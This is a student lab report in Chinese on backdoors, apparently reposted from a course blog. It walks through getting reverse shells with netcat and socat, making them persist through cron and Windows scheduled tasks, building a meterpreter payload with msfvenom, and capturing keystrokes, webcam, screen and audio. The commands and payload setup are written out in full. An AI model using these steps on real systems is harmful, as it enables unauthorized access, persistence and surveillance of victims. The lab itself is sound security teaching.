# 目录

  • 实践内容
  • 实践过程
  • netcat
  • 基础问题回答
  • 实验心得体会

正文

实践内容

  • 使用netcat和socat、msf-meterpreter等工具获得主机权限,并进行一些恶意行为,如监控摄像头、记录键盘输入、截屏等。
  • 详情见实验指导书

实践过程

netcat获取主机操作Shell,cron启动

windows获得linux的shell

  • windows平台下利用cmd的ipconfig命令查看到本机的ip地址为172.30.6.27

  • kali在终端下使用ifconfig命令查看kali的IP地址为172.30.6.69

  • windows下使用ncat.exe -l -p 4328命令运行ncat.exe监听4328端口。

  • kali下使用为nc 172.30.6.27(即主机ip) 4328 -e /bin/sh命令连接windows的4328端口

  • 连接成功后,我们就可以在windows主机获取kali的信息,如输入ls命令:

linux获得windows的shell

  • kali下使用nc -l -p 4328命令监听4328端口

  • windows下使用ncat.exe -e cmd.exe 172.30.6.69 4328(即kali的IP地址)连接kali的4328端口。

  • 连接成功后,我们就可以在kali主机获取windows的信息,此时已成功获取windows的shell

使用netcat传输数据

  • windows下使用ncat.exe -l -p 4328命令运行ncat.exe监听4328端口。

  • kali下使用为nc 172.30.6.27(即主机ip) 4328命令连接windows的4328端口

  • 建立连接后,尝试传输

cron启动

  • windows下使用ncat.exe -l -p 4328命令运行ncat.exe监听4328端口

  • kali下使用crontab -e命令,设置一条定时指令,设置成在每小时的第35分钟反向连接windows主机的4328端口

  • 35 * * * * /bin/netcat 172.30.6.204 4327 -e /bin/sh

    (不好意思忘记截图了)

-35分时连接成功,成功获得linux的shell,输入ls指令查看。

socat获取主机操作Shell, 任务计划启动

  • windows下在控制面板->管理工具->任务计划程序中新建一个触发器

  • 再新建一个操作,程序路径选择socat.exe的安装路径,填写参数tcp-listen:4328 exec:cmd.exe,pty,stderr

  • 待重启后,刷新任务,可看到任务已经开始执行

  • kali下使用socat - tcp:172.30.6.204(即主机ip):4327(端口),此时已成功获取windows的shell。

msf-meterpreter 生成后门,传输到靶机获取shell

  • 在kali下输入命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.3.69 LPORT=4328 -f exe > 20154328.exe 生成一个名为20154328的后门程序


    (不好意思,图片没有截好)

  • 使用netcat将这个后门程序传输到windows主机上。在windows下输入ncat.exe -lv 4328 > 20154328.exe

  • 随后在Linux下使用ncat -nv 172.30.6.27 4328 < 20154328.exe命令把文件传送过去

  • 这里在关闭防火墙和杀毒软件 后运行。

使用msf获取目标摄像头,进行录屏、键盘记录等操作

  • 首先msf打开监听进程
  • msfconsole //进入msf

  • use exploit/multi/handler //进入handler模式

  • set payload windows/meterpreter/reverse_tcp //设置payload

  • set LHOST 172.30.6.69 //将LHOST设置为LinuxIP地址

  • set LPORT 4328 //设端口为那个4328

  • exploit //MSF开始监听

查看获取键盘输入、截获摄像头、获取截图、录音

  • 键盘记录

  • 打开摄像头

  • 截屏

  • record_mic // 截获音频

基础问题回答

  1. 例举你能想到的一个后门进入到你系统中的可能方式?
    答:木马、操作系统自留的后门,以及通过灰鸽子文件进行。
  2. 例举你知道的后门如何启动起来(win及linux)的方式?

    答:通过开机自己启动,或者捆绑在软件上,打开软件的时候后门启动。

  3. Meterpreter有哪些给你映像深刻的功能?

    答:截屏,录像,以及键盘按键记录。感觉自己的一切都被陌生人观看,记录,自己的密码,以及所有的东西都会被别人看到。没有任何隐私可言。

  4. 如何发现自己有系统有没有被安装后门?

    答 :利用相关工具进行扫描,查看是否有很奇怪的开机自启项目。

    实验感想

  • 通过这次实验了解了很多关于互联网的知识,这次的实验也显得很有趣。让我体会到了网络攻防的乐趣。体验了一次小黑客的瘾。
  • 这次实验也让人感到害怕,在互联网下没人有隐私可言。我们的一举一动可能都在别人的监视之下。以前看《数字城堡》这本书中看到他们通过插件记录键盘的使用情况来破解电脑的密码觉得很神奇,这次自己做出来后有些激动。
  • 这次实验也了解了黑客技术的可怕,在平时上网的时候要规范自己的行为规范。不认识的链接坚决不打开,提高自己的互联网安全意识。
  • 通过这次实验感觉到了互联网的安全任重而道远。我们只是学了一点点皮毛就可以入侵到别人的电脑中,而那些懂得很多技术的人员,如果不加约束互联网世界将一片混乱。

转载于:https://www.cnblogs.com/20154328changcheng/p/8672643.html

Exp2 后门原理与实践 20154328 常城相关推荐

  1. 2019-2020-2 20175227张雪莹《网络对抗技术》 Exp2 后门原理与实践

    2019-2020-2 20175227张雪莹<网络对抗技术> Exp2 后门原理与实践 目录 0. 基础知识 1. 实验内容 1.0 常用后门工具 1.1 使用netcat获取主机操作S ...

  2. 2017-2018-2 20155314《网络对抗技术》Exp2 后门原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp2 后门原理与实践 目录 实验要求 实验内容 实验环境 预备知识 1.后门概念 2.常用后门工具 实验步骤 1 用nc或net ...

  3. Exp2 后门原理与实践 20164323段钊阳

    220164323 Exp2 后门原理与实践 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在使用盗版软件,盗版系统,甚至游戏外挂时,往往会让我们关闭杀毒软件,. (2)例举你知道的后门如何 ...

  4. 2018-2019 Exp2 后门原理与实践

    2018-2019 Exp2 后门原理与实践 目录 一.实验内容说明及基础问题回答 二.工具准备 查看WindowsIP和LinuxIP Windows获得Linuxshell Linux 获得Win ...

  5. 2018-2019-2 网络对抗技术 20165301 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165301 Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任 ...

  6. Exp2 后门原理与实践 20164321 王君陶

    Exp2 后门原理与实践 20164321 王君陶 一.实验内容 基础问题回答: 1.例举你能想到的一个后门进入到你系统中的可能方式? 答:通过漏洞,点击陌生链接,或者浏览不良网页挂马. 2.例举你知 ...

  7. Exp2 后门原理与实践 20204308李文艳

    Exp2 后门原理与实践 20204308李文艳 1. 基础问题 1.1 例举你能想到的一个后门进入到你系统中的可能方式? 1.2 例举你知道的后门如何启动起来(win及linux)的方式? 1.3 ...

  8. 20155317王新玮《网络对抗》Exp2 后门原理与实践

    20155317王新玮<网络对抗>Exp2 后门原理与实践 一.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划 ...

  9. Exp2 后门原理与实践

    Exp2 后门原理与实践 实验环境 攻击机 kali 4.14(64位) (IP: 10.0.2.6/24) 靶机 ubuntu 16.04(32位) (IP: 10.0.2.4/24) window ...

  10. 20194307肖江宇Exp2—后门原理与实践

    文章目录 20194307肖江宇Exp-2后门原理与实践 1.实验基础 1.1基础知识 1.2常用后门工具 NC和Netcat SoCat 任何代理.转发等功能都可以用该工具实现. Meterpret ...

最新文章

  1. Selenium3自动化测试——23.自动发送邮件功能
  2. matlab在统计学中的简单应用
  3. python的生成器
  4. 体验Rabbitmq强大的【优先级队列】之轻松面对现实业务场景
  5. 修改表格字体颜色_word排版应用:如何创建文本样式和表格样式
  6. java 好和不好的形容词 英语怎么说_java必会的英语单词
  7. Silverlight MMORPG网页游戏开发课程[一期] 第九课:HUD与背景音乐
  8. 最短路径之dijkstra算法的C语言实现
  9. python idle使用教程_PythonIDLE使用教程
  10. 导出excel 数据取一次合理还是分页取合理_一张报表模板替代数百张Excel表格,用它让报表工作更轻松...
  11. shell脚本中一些日期的定义
  12. MFC开发上位机经验
  13. 数学建模(6)典型相关性分析
  14. 华丽成长为IT高富帅、IT白富美(五)
  15. NeoKylin7用户和组管理
  16. 对于半圆形的点击区域该怎么做_我做了一个傻瓜式热力图生成工具
  17. python大小写转换_Python字母大小写的转换(两种方法)
  18. 霍尼韦尔为重庆打造智慧口岸提供技术支持
  19. 为什么你还没有买新能源汽车? 1
  20. 【Jetpack】WorkManager

热门文章

  1. 通过上位机软件测试总线舵机
  2. [转]IDE 、SATA、SCSI 的区别
  3. 【定积分】基本知识点+考点
  4. java与seo_seo和java哪个更好
  5. 物联网技术实现农业自动化
  6. 最全的smarty‘总结~耿兴隆老师著作,学子zyf献上
  7. Spring入门之bean的配置
  8. 【Java】蓝桥杯历届试题PREV(一)
  9. cfree mysql_如何配置CFree才能开发MySql数据库应用
  10. xenu死链接工具使用